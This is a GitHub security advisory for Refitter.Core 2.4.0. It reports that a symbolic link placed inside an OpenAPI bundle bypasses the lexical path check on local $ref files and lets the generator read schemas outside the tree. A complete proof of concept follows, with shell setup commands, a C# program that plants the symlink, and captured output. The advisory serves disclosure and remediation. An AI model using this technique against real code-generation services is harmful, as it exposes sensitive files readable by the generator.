Skip to main content
Menu
Advisories

In-tree symlink escapes Refitter local reference confinement

GHSA-R4F2-382W-FRQCPublished Updated GitHub

Description

In-tree symlink escapes Refitter local reference confinement

Summary

Refitter's supported local OpenAPI loading path checks a referenced filename with lexical Path.GetFullPath containment, then opens that filename through ordinary filesystem I/O. A caller-supplied OpenAPI tree can therefore put an in-tree symbolic link at a response-reachable relative $ref target and make Refitter read an out-of-tree schema while AllowRemoteReferences remains false. The attack generated source containing the external schema marker, while the ordinary-file control generated only its local marker.

Technical Details

RefitGenerator.CreateAsync reaches OpenApiDocumentFactory.CreateAsync, which invokes ReferenceGuard.ValidateAsync before loading the document. For a local reference, ReferenceGuard.ValidateLocalFileAsync combines the current directory and reference, calls Path.GetFullPath, and checks that lexical path with IsWithin(rootDirectory, resolved). It then reads the validated path with File.ReadAllTextAsync. The check never resolves symbolic links. OpenApiDocumentParser.LoadReferencedFileAsync subsequently opens the same path with File.ReadAllText and the operating system follows the link. The lexical name can therefore satisfy the root-directory check while its filesystem target is outside that directory.

The supported caller contract is a local OpenAPI document and its referenced files with remote references disabled by default. The attacker-controlled input is the submitted tree: root.json contains a response schema reference to inside.json#/components/schemas/Payload, and inside.json is a symbolic link whose target is an external schema. The external schema contains a unique property marker. The control changes only the link to an ordinary in-tree file. This crosses the input-directory file-read boundary in the local reference reader; it does not depend on the CLI output writer or a pre-existing output-file link.

PoV

The root document used in the test was:

{
  "openapi": "3.0.3",
  "info": { "title": "Symlink reference probe", "version": "1.0.0" },
  "paths": {
    "/probe": {
      "get": {
        "operationId": "getProbe",
        "responses": {
          "200": {
            "description": "ok",
            "content": {
              "application/json": {
                "schema": { "$ref": "inside.json#/components/schemas/Payload" }
              }
            }
          }
        }
      }
    }
  }
}

For the control, inside.json was a regular file containing a Payload object with property SYMLINK_REF_LOCAL_CANARY_2A19. For the attack, that file was removed and replaced by a symbolic link with the same name to an out-of-tree secret.json containing a Payload property named SYMLINK_REF_EXTERNAL_CANARY_7F31.

PoC

Run this setup inside the pinned .NET SDK image. The maintainer-provided image mounts the pinned source checkout at /target, the bound dependency/package cache at /work/bootstrap/nuget, and the run artifacts at /run; RUN below names the last mount. Start in /work. The proof archive expands to /work/symlinkprobe and its project references the copied checkout at /work/refitter.

export RUN=/run
export NUGET_PACKAGES=/work/bootstrap/nuget
cd /work
mkdir -p /work/feed
rm -rf /work/refitter /work/symlinkprobe /work/symlinkprobe-input
cp -a /target /work/refitter
tar -xzf "$RUN/evidence/symlinkprobe-proof-v2.tar.gz" -C /work
find /work/bootstrap/nuget -type f -name '*.nupkg' -exec cp -n {} /work/feed/ \; 2>/dev/null || true
dotnet restore /work/symlinkprobe/SymlinkProbe.net11.csproj --packages /work/bootstrap/nuget --source /work/feed --ignore-failed-sources
dotnet run --no-restore --project /work/symlinkprobe/SymlinkProbe.net11.csproj control
dotnet run --no-restore --project /work/symlinkprobe/SymlinkProbe.net11.csproj attack

The control and attack both use the public RefitGenerator.CreateAsync API and leave AllowRemoteReferences set to false. The captured output was:

RESULT=generated LEN=3809 LOCAL=True EXTERNAL=False PAYLOAD=True
RESULT=generated LEN=3815 LOCAL=False EXTERNAL=True PAYLOAD=True

The first line is the regular-file control. The second line is the symlink attack: the generated C# contains the external marker and not the local marker. The run used the pinned .NET SDK image mcr.microsoft.com/dotnet/sdk@sha256:65f3c7c6a25a239ab3e6719f2896147e7b68242ff2d8818dd70498bde6ef8bea and the pinned Refitter source revision bf77ef633cd182563748fd7828e2d06bb24e1dd5.

Impact

The flaw lets the supported generator read a process-readable schema outside the supplied OpenAPI tree and copy that file's properties into generated C# source. In a supported service that accepts symlink-preserving OpenAPI bundles, invokes Refitter automatically, and returns generated source to the submitter, a document author can use this boundary crossing to disclose sensitive files readable by the generator identity. The proof uses synthetic canaries and does not claim code execution, integrity impact, or availability impact.

The base CVSS 3.1 score is 5.7 (Medium), CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N. At the affected Refitter.Core component boundary, the demonstrated input is a local OpenAPI tree, so network delivery is not part of the base vector; processing it still requires user interaction. The conditional environmental score is 7.5 (High) with CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N/MAV:N/MAC:L/MPR:N/MUI:N/MS:U/MC:H/MI:N/MA:N when a supported deployment accepts unauthenticated symlink-preserving bundles over a network, invokes Refitter automatically, can read sensitive files outside each bundle directory, and returns generated source to the submitter. The advisory metadata uses its single severity: high field for that conditional environmental rating and leaves its CVSS field empty; the base rating remains Medium and the conditional High does not apply to every installation. A maintainer may use the base Medium rating when that deployment condition is not representative.

Suggested Fix

Resolve each local reference target to its filesystem-canonical path before applying the root-directory containment check, and reject targets whose canonical path is outside the canonical input directory. Handle missing targets and link races fail closed, and apply the same rule to every local-reference path consumed by the parser. Add a public-API regression test with an in-tree symlink pointing to an out-of-tree schema, assert that generation rejects it, and retain controls for an ordinary in-tree reference and a direct lexical ../ reference.

Affected Package/Versions

  • Package: Refitter.Core (NuGet).
  • Vulnerable version range established here: 2.4.0 only.
  • The tested implementation is at source revision bf77ef633cd182563748fd7828e2d06bb24e1dd5. Release tag 2.4.0 resolves to commit d3d7382b4244762e3dd8e838be00b19273f86bae, and the blob and content hashes for each tested path (ReferenceGuard.cs, OpenApiDocumentParser.cs, OpenApiDocumentFactory.cs, and RefitGenerator.cs) are identical at the tag and the pinned revision. This hash-bound source identity establishes the 2.4.0 range for the tested implementation; it is not a published NuGet package retest. Other releases were not tested and no patched version is established.
  • Vulnerable functions: Refitter.Core.Document.ReferenceGuard.ValidateLocalFileAsync and Refitter.Core.Document.OpenApiDocumentParser.LoadReferencedFileAsync.

Advisory History

Public history includes GHSA-x6w4-f264-3vvr / CVE-2026-63184 and PR #1173 for unrestricted references, and GHSA-4f49-pm8q-mx4f / PR #1392 for escaped remote $ref values. Those changes concern reference syntax and remote-path handling; this issue is the mismatch between lexical containment and filesystem link resolution for an otherwise ordinary local filename. GHSA-h924-jfhp-9vjr and PRs #1407 and #1409 concern generated C# string-literal escaping and have a different sink.

I checked all ten bound prior same-target reports. All ten are completed and ready for review; none is recorded as submitted and none is recorded as completed but unsubmitted. They cover a pre-existing symlink at the CLI output-file destination (the output writer), nested YAML reference rebasing (the child-versus-root directory base), case-variant $Ref and $REF keys (reference-key matching), case-colliding references and mixed-separator references (remote-reference classification), relative discriminator mappings (a different schema field), operation-key C# injection (a generated-code integrity sink), and response-status XML documentation injection (an XML/package sink). This report's root cause and sink are the local $ref reader accepting a lexical path whose filesystem target escapes the input tree.

References

Appendix: SymlinkProbe.net11.csproj

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net11.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <ItemGroup>
    <ProjectReference Include="/work/refitter/src/Refitter.Core/Refitter.Core.csproj" />
  </ItemGroup>
</Project>

Appendix: Program.cs

using System.Text.Json;
using Refitter.Core;

const string externalMarker = "SYMLINK_REF_EXTERNAL_CANARY_7F31";
const string localMarker = "SYMLINK_REF_LOCAL_CANARY_2A19";
var root = "/work/symlinkprobe-input";
Directory.CreateDirectory(root);

var selected = args.Length == 0 ? "both" : args[0];
if (selected is not ("both" or "control" or "attack"))
    throw new ArgumentException($"Unknown case: {selected}");
if (selected is "both" or "control")
    await RunCase("control", useSymlink: false);
if (selected is "both" or "attack")
    await RunCase("attack", useSymlink: true);

async Task RunCase(string name, bool useSymlink)
{
    var caseRoot = Path.Combine(root, name);
    if (Directory.Exists(caseRoot))
        Directory.Delete(caseRoot, recursive: true);
    Directory.CreateDirectory(caseRoot);

    var rootPath = Path.Combine(caseRoot, "root.json");
    var insidePath = Path.Combine(caseRoot, "inside.json");
    var externalRoot = Path.Combine(root, name + "-outside");
    if (Directory.Exists(externalRoot))
        Directory.Delete(externalRoot, recursive: true);
    Directory.CreateDirectory(externalRoot);
    var externalPath = Path.Combine(externalRoot, "secret.json");

    await File.WriteAllTextAsync(externalPath, SchemaDocument(externalMarker));
    await File.WriteAllTextAsync(insidePath, SchemaDocument(localMarker));
    if (useSymlink)
    {
        File.Delete(insidePath);
        File.CreateSymbolicLink(insidePath, externalPath);
    }

    await File.WriteAllTextAsync(rootPath, RootDocument());
    Console.WriteLine($"=== {name} symlink={useSymlink} root={rootPath} inside={insidePath} target={externalPath} ===");
    try
    {
        var settings = new RefitGeneratorSettings
        {
            OpenApiPath = rootPath,
            AllowRemoteReferences = false,
            Namespace = "GeneratedCode",
            GenerateXmlDocCodeComments = false,
        };
        var generator = await RefitGenerator.CreateAsync(settings);
        var output = generator.Generate();
        Console.WriteLine($"RESULT=generated LEN={output.Length} LOCAL={output.Contains(localMarker, StringComparison.Ordinal)} EXTERNAL={output.Contains(externalMarker, StringComparison.Ordinal)} PAYLOAD={output.Contains("class Payload", StringComparison.Ordinal) || output.Contains("record Payload", StringComparison.Ordinal)}");
        Console.WriteLine(output);
    }
    catch (Exception ex)
    {
        Console.WriteLine($"RESULT=error TYPE={ex.GetType().FullName} MSG={ex.Message.Replace('\n', ' ').Replace('\r', ' ')}");
    }
}

static string RootDocument() => """
{
  "openapi": "3.0.3",
  "info": { "title": "Symlink reference probe", "version": "1.0.0" },
  "paths": {
    "/probe": {
      "get": {
        "operationId": "getProbe",
        "responses": {
          "200": {
            "description": "ok",
            "content": { "application/json": { "schema": { "$ref": "inside.json#/components/schemas/Payload" } } }
          }
        }
      }
    }
  }
}
""";

static string SchemaDocument(string marker) => $$"""
{
  "openapi": "3.0.3",
  "info": { "title": "Referenced schema", "version": "1.0.0" },
  "paths": {},
  "components": {
    "schemas": {
      "Payload": {
        "type": "object",
        "properties": {
          "{{marker}}": { "type": "string" }
        }
      }
    }
  }
}
""";

Affected versions

References

GitHub · christianhelle/refitter